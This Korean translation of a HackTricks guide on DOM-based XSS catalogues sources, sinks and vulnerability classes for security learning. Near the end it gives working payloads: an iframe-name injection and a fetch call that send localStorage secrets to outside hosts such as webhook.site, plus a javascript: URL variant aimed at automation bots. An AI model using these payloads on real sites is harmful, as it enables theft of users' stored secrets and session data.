DOM XSS

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

구독 계획 확인하기!

**💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.

HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.

DOM 취약점

DOM 취약점은 공격자가 제어하는 sources(예: location.search, document.referrer, document.cookie)에서 나온 데이터가 안전하지 않게 sinks로 전달될 때 발생합니다. sinks는 악성 데이터를 받으면 유해한 내용을 실행하거나 렌더링할 수 있는 함수나 객체(예: eval(), document.body.innerHTML)입니다.

Sources는 공격자가 조작할 수 있는 입력값들로, URLs, cookies, 웹 메시지 등을 포함합니다.
Sinks는 악성 데이터가 스크립트 실행과 같은 부작용을 일으킬 수 있는 잠재적으로 위험한 엔드포인트입니다.

이 위험은 source에서 sink로 데이터가 적절한 검증이나 정화 없이 흐를 때 발생하며, XSS와 같은 공격을 가능하게 합니다.

Tip

더 최신의 sources와 sinks 목록은 다음에서 확인할 수 있습니다: https://github.com/wisec/domxsswiki/wiki

일반적인 sources:

document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB(mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database

일반적인 Sinks:

Open Redirect	Javascript Injection	DOM-data manipulation	jQuery
`location`	`eval()`	`scriptElement.src`	`add()`
`location.host`	`Function() constructor`	`scriptElement.text`	`after()`
`location.hostname`	`setTimeout()`	`scriptElement.textContent`	`append()`
`location.href`	`setInterval()`	`scriptElement.innerText`	`animate()`
`location.pathname`	`setImmediate()`	`someDOMElement.setAttribute()`	`insertAfter()`
`location.search`	`execCommand()`	`someDOMElement.search`	`insertBefore()`
`location.protocol`	`execScript()`	`someDOMElement.text`	`before()`
`location.assign()`	`msSetImmediate()`	`someDOMElement.textContent`	`html()`
`location.replace()`	`range.createContextualFragment()`	`someDOMElement.innerText`	`prepend()`
`open()`	`crypto.generateCRMFRequest()`	`someDOMElement.outerText`	`replaceAll()`
`domElem.srcdoc`	``Local file-path manipulation	`someDOMElement.value`	`replaceWith()`
`XMLHttpRequest.open()`	`FileReader.readAsArrayBuffer()`	`someDOMElement.name`	`wrap()`
`XMLHttpRequest.send()`	`FileReader.readAsBinaryString()`	`someDOMElement.target`	`wrapInner()`
`jQuery.ajax()`	`FileReader.readAsDataURL()`	`someDOMElement.method`	`wrapAll()`
`$.ajax()`	`FileReader.readAsText()`	`someDOMElement.type`	`has()`
``Ajax request manipulation	`FileReader.readAsFile()`	`someDOMElement.backgroundImage`	`constructor()`
`XMLHttpRequest.setRequestHeader()`	`FileReader.root.getFile()`	`someDOMElement.cssText`	`init()`
`XMLHttpRequest.open()`	`FileReader.root.getFile()`	`someDOMElement.codebase`	`index()`
`XMLHttpRequest.send()`	Link manipulation	`someDOMElement.innerHTML`	`jQuery.parseHTML()`
`jQuery.globalEval()`	`someDOMElement.href`	`someDOMElement.outerHTML`	`$.parseHTML()`
`$.globalEval()`	`someDOMElement.src`	`someDOMElement.insertAdjacentHTML`	Client-side JSON injection
``HTML5-storage manipulation	`someDOMElement.action`	`someDOMElement.onevent`	`JSON.parse()`
`sessionStorage.setItem()`	XPath injection	`document.write()`	`jQuery.parseJSON()`
`localStorage.setItem()`	`document.evaluate()`	`document.writeln()`	`$.parseJSON()`
[`Denial of Service`](dom-xss.md#denial-of-service)	`someDOMElement.evaluate()`	`document.title`	``Cookie manipulation
`requestFileSystem()`	``Document-domain manipulation	`document.implementation.createHTMLDocument()`	`document.cookie`
`RegExp()`	`document.domain`	`history.pushState()`	WebSocket-URL poisoning
Client-Side SQl injection	Web-message manipulation	`history.replaceState()`	`WebSocket`
`executeSql()`	`postMessage()`	``	``

The innerHTML sink은 현대 브라우저에서 script 요소를 허용하지 않으며, svg onload 이벤트도 작동하지 않습니다. 따라서 img나 iframe 같은 대체 요소를 사용해야 합니다.

이 유형의 XSS는 아마도 찾기 가장 어려운(hardest to find) 유형입니다. 코드 내부의 JS를 들여다보고, 여러분이 제어하는 값(value)을 갖는 어떤 객체를 사용(using) 하고 있는지 확인한 다음, 그것을 악용해 임의의 JS를 실행할 수 있는 방법이 있는지 평가해야 합니다.

찾아내기 위한 도구

https://github.com/mozilla/eslint-plugin-no-unsanitized
잠재적 sink에 도달하는 모든 데이터를 검사하는 브라우저 확장: https://github.com/kevin-mizu/domloggerpp

예시

Open Redirect

From: https://portswigger.net/web-security/dom-based/open-redirection

DOM에서의 Open redirect 취약점은 스크립트가 공격자가 제어할 수 있는 데이터를 다른 도메인으로의 이동을 시작할 수 있는 sink에 기록할 때 발생합니다.

리디렉션이 발생하는 URL의 시작 부분을 제어할 수 있다면, javascript:alert(1) 같은 임의의 코드를 실행하는 것이 가능하다는 점을 이해하는 것이 중요합니다.

Sinks:

location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
domElem.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()

From: https://portswigger.net/web-security/dom-based/cookie-manipulation

DOM-based cookie-manipulation vulnerabilities는 스크립트가 공격자가 제어할 수 있는 데이터를 cookie의 값에 포함시킬 때 발생합니다. 이 취약점은 사이트 내에서 cookie가 사용되는 경우 웹페이지의 예기치 않은 동작을 초래할 수 있습니다. 또한 cookie가 사용자 세션을 추적하는 데 관여한다면 session fixation 공격을 수행하는 데 악용될 수 있습니다. The primary sink associated with this vulnerability is:

Sinks:

document.cookie

JavaScript Injection

From: https://portswigger.net/web-security/dom-based/javascript-injection

DOM-based JavaScript injection 취약점은 공격자가 제어할 수 있는 데이터를 스크립트가 JavaScript 코드로 실행할 때 생성됩니다.

Sinks:

eval()
Function() constructor
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()

Document-domain manipulation

출처: https://portswigger.net/web-security/dom-based/document-domain-manipulation

Document-domain manipulation vulnerabilities 는 스크립트가 공격자가 제어할 수 있는 데이터를 사용하여 document.domain 속성을 설정할 때 발생합니다.

document.domain 속성은 브라우저가 same-origin policy를 적용하는 데 있어 핵심 역할을 합니다. 서로 다른 출처의 두 페이지가 document.domain을 같은 값으로 설정하면 제한 없이 상호작용할 수 있습니다. 브라우저는 document.domain에 할당할 수 있는 값에 대해 특정 제한을 두어 실제 페이지 출처와 완전히 무관한 값을 할당하는 것을 방지하지만, 예외가 존재합니다. 일반적으로 브라우저는 하위 도메인 또는 상위 도메인의 사용을 허용합니다.

Sinks:

document.domain

WebSocket-URL poisoning

From: https://portswigger.net/web-security/dom-based/websocket-url-poisoning

WebSocket-URL poisoning은 스크립트가 WebSocket 연결의 대상 URL로 제어 가능한 데이터를 사용하는 경우에 발생합니다.

Sinks:

WebSocket constructor는 WebSocket-URL poisoning 취약점을 유발할 수 있습니다.

Link manipulation

From: https://portswigger.net/web-security/dom-based/link-manipulation

DOM-based link-manipulation vulnerabilities는 스크립트가 현재 페이지 내의 네비게이션 대상(예: 클릭 가능한 링크나 폼의 제출 URL)에 공격자가 제어할 수 있는 데이터를 작성할 때 발생합니다.

Sinks:

someDOMElement.href
someDOMElement.src
someDOMElement.action

Ajax request manipulation

출처: https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation

Ajax request manipulation vulnerabilities 은 스크립트가 XmlHttpRequest 객체를 사용해 발행된 Ajax 요청에 attacker-controllable data into an Ajax request 를 작성할 때 발생합니다.

Sinks:

XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()

Local file-path manipulation

From: https://portswigger.net/web-security/dom-based/local-file-path-manipulation

Local file-path manipulation vulnerabilities는 스크립트가 파일 처리 API에 filename 매개변수로 공격자가 제어할 수 있는 데이터를 전달할 때 발생합니다. 이 취약점은 공격자가 URL을 구성하여 다른 사용자가 방문할 경우 사용자의 브라우저가 임의의 로컬 파일을 열거나 쓰게 만들 수 있습니다.

Sinks:

FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()

Client-Side SQl injection

From: https://portswigger.net/web-security/dom-based/client-side-sql-injection

Client-side SQL-injection vulnerabilities는 스크립트가 attacker-controllable data into a client-side SQL query in an unsafe way를 포함할 때 발생합니다.

Sinks:

executeSql()

HTML5-storage manipulation

출처: https://portswigger.net/web-security/dom-based/html5-storage-manipulation

HTML5-storage manipulation vulnerabilities는 스크립트가 웹 브라우저의 HTML5 저장소에 공격자가 제어할 수 있는 데이터를 저장할 때 발생합니다 (localStorage 또는 sessionStorage). 이 동작 자체가 본질적으로 보안 취약점은 아니지만, 애플리케이션이 이후에 저장된 데이터를 읽어 안전하지 않게 처리하면 문제가 됩니다. 이로 인해 공격자는 저장 메커니즘을 이용해 다른 DOM-based 공격을 수행할 수 있으며, 예를 들어 cross-site scripting 및 JavaScript injection 등이 있습니다.

Sinks:

sessionStorage.setItem()
localStorage.setItem()

XPath injection

출처: https://portswigger.net/web-security/dom-based/client-side-xpath-injection

DOM-based XPath-injection vulnerabilities는 script가 attacker-controllable data를 XPath query에 포함할 때 발생합니다.

Sinks:

document.evaluate()
someDOMElement.evaluate()

Client-side JSON injection

From: https://portswigger.net/web-security/dom-based/client-side-json-injection

DOM-based JSON-injection vulnerabilities는 스크립트가 attacker-controllable data를 JSON 데이터 구조로 파싱되는 문자열에 포함시키고 그 후 애플리케이션에서 처리할 때 발생합니다.

Sinks:

JSON.parse()
jQuery.parseJSON()
$.parseJSON()

Web-message manipulation

From: https://portswigger.net/web-security/dom-based/web-message-manipulation

Web-message vulnerabilities 는 스크립트가 브라우저 내의 다른 문서로 공격자가 제어할 수 있는 데이터를 웹 메시지로 전송할 때 발생합니다. 취약한 Web-message manipulation의 예시는 PortSwigger’s Web Security Academy에서 확인할 수 있습니다.

Sinks:

웹 메시지를 보내는 postMessage() 메서드는, 메시지를 수신하는 이벤트 리스너가 수신 데이터를 안전하지 않게 처리할 경우 취약점을 초래할 수 있습니다.

DOM-data manipulation

From: https://portswigger.net/web-security/dom-based/dom-data-manipulation

DOM-data manipulation vulnerabilities 는 스크립트가 DOM 내의 필드에 공격자가 제어할 수 있는 데이터를 기록하고, 그 필드가 화면에 보이는 UI나 클라이언트 측 로직에서 사용될 때 발생합니다. 공격자는 이 취약점을 이용해 특정 URL을 구성할 수 있으며, 다른 사용자가 해당 URL을 방문하면 클라이언트 측 UI의 외형이나 동작이 변경될 수 있습니다.

Sinks:

scriptElement.src
scriptElement.text
scriptElement.textContent
scriptElement.innerText
someDOMElement.setAttribute()
someDOMElement.search
someDOMElement.text
someDOMElement.textContent
someDOMElement.innerText
someDOMElement.outerText
someDOMElement.value
someDOMElement.name
someDOMElement.target
someDOMElement.method
someDOMElement.type
someDOMElement.backgroundImage
someDOMElement.cssText
someDOMElement.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()

Denial of Service

From: https://portswigger.net/web-security/dom-based/denial-of-service

DOM-based denial-of-service vulnerabilities는 스크립트가 공격자가 제어할 수 있는 데이터를 문제를 일으키는 플랫폼 API에 안전하지 않게 전달할 때 발생합니다. 여기에는 호출될 경우 사용자의 컴퓨터가 과도한 CPU 또는 디스크 공간을 소비하게 만들 수 있는 API가 포함됩니다. 이러한 취약점은 localStorage에 데이터를 저장하려는 시도를 브라우저가 거부하거나 바쁜 스크립트를 종료하는 등 웹사이트 기능을 제한하는 심각한 부작용을 초래할 수 있습니다.

Sinks:

requestFileSystem()
RegExp()

Dom Clobbering

암묵적 전역 & `window.name` 악용

선언(var/let/const) 없이 name를 참조하면 window.name으로 해석됩니다. window.name은 교차 출처 내비게이션 간에 지속되기 때문에, 공격자는 브라우징 컨텍스트 이름을 HTML/JS로 미리 채워 두고 이후 피해자 코드가 이를 신뢰된 데이터로 렌더링하게 할 수 있습니다:

제어하는 이름 있는 컨텍스트에서 대상을 열거나 이동하세요:

<iframe name="<img src=x onerror=fetch('https://oast/?f='+btoa(localStorage.flag))>" src="https://target/page"></iframe>

또는 정교하게 조작된 target name으로 window.open을 재사용:

window.open('https://target/page', "<svg/onload=alert(document.domain)>")

애플리케이션이 이후에 element.innerHTML = name (or similar sink)을 sanitization 없이 실행하면, 공격자가 제어하는 window.name 문자열이 대상 오리진(target origin)에서 실행되어 DOM XSS 및 same-origin storage에 접근할 수 있게 됩니다.

관리자/자동화 흐름: 사전 채워진 저장소 & `javascript:` 네비게이션

Automation bots (예: Playwright)는 종종 먼저 내부 페이지를 방문해 localStorage/cookies에 비밀을 설정한 뒤 사용자 제공 URL로 이동합니다. 해당 흐름에서 발생하는 모든 DOM XSS primitive(예: window.name abuse 포함)는 사전 채워진 비밀을 exfiltrate할 수 있습니다:

fetch('https://webhook.site/<id>?flag=' + encodeURIComponent(localStorage.getItem('flag')))

봇이 스킴을 제한하지 않으면, javascript: URL (javascript:fetch(...))을 제공했을 때 새 네비게이션 없이 현재 origin에서 실행되어 storage 값을 직접 leak합니다.

참고자료

Flagvent 2025 (Medium) — pink, Santa’s Wishlist, Christmas Metadata, Captured Noise

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

구독 계획 확인하기!

**💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.

HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.